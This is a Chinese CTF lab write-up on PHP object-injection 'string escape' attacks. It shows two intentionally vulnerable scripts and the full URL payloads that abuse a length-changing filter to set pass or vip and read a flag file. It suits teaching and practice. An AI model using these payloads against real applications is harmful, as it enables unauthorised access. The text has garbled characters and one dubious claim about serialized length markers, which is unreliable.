Web渗透—PHP反序列化????????课程学习分享(课程非本人制作,仅提供学习分享)
靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
目标:判断是否pass=='escaping'
<?php
function?filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return?$name;
}
class?test{
var?$user;
var?$pass='daydream'; //pass默认值为'daydream'
function?__construct($user){
$this->user=$user;
}
}
$param=$_GET['param']; //$_GET[‘param’]获取值给$param
$param=serialize(new?test($param)); //并放在实例化test里作为参数,实例化触发__construct赋值给user
$profile=unserialize(filter($param)); //对$param值进行安全性检查,filter把”flag”,”php”替换为”hack”,然后在反序列化
if?($profile->pass=='escaping'){ //判断pass是否为'escaping'
echo?file_get_contents("flag.php");
}
?>
思路:
????????1)字符串过滤后减少还是增多
????????2)构造出关键成员属性序列化字符串
????????3)增多则判断一次吐出多少个字符串
????????4)构造payload并提交
构造关键成员属性序列化字符:
<?php
class test{
var $user="123"; //任意字符
var $pass='escaping';
}
echo serialize(new test());
?>
O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";}
php被替换成hack,字符串增多,会吐出字符串变成结构代码,一个php吐出1个字符串;
flag被替换成hack,字符串不变,无法吐出字符串变成结构代码
";s:4:"pass";s:8:"escaping";}
$user可控,我们通过param参数进行传参,我们需要将$pass及其参数吐出,同时我们需要补全前面$user的序列化结构,所以我们需要吐出29个字符
构造payload:
URL?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
目标:判断vip是否为真
<?php
function?filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return?$name;
}
class?test{
var?$user;
var?$pass;
var?$vip?=?false?; //vip默认值为false
function?__construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new?test($param,$pass));
$profile=unserialize(filter($param)); //对$parm值'user'进行安全性检查,filter把'flag','php'替换为'hk',然后在反序列化
if?($profile->vip){ //判断vip值是否为真
echo?file_get_contents("flag.php");
}
?>
思路:
????????1)字符串过滤后减少还是增多
????????2)构造出关键成员属性序列化字符串
????????3)减少则判断吃掉的内容,并计算长度
????????4)构造pyload并提交
构造关键成员属性序列化字符:
<?php
class test{
var $user = '123'; //任意字符
var $pass = '123'; //任意字符
var $vip = true;
}
echo serialize(new test());
?>
O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:1;}
php被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个php吃掉1个字符串;
flag被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个flag吃掉2个字符串
";s:4:"pass";s:3:"123";s:3:"vip";b:1;}
$user和$pass可控,我们通过user和pass参数进行传参,我们需要将$pass及其参数吃掉,只保留参数内容以及结构 "?符号,同时我们需要补全前面$user的序列化结构,所以我们需要吃掉19个字符(flag每次吃掉2个字符,吃19个字符最少要吃10次,所以我们会多吃1位,在后面字符位置补)
在PHP中,当进行序列化时,字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中,字符串的长度使用一个表示字符数的整数来进行标识。
构造payload:
URL?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}
利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}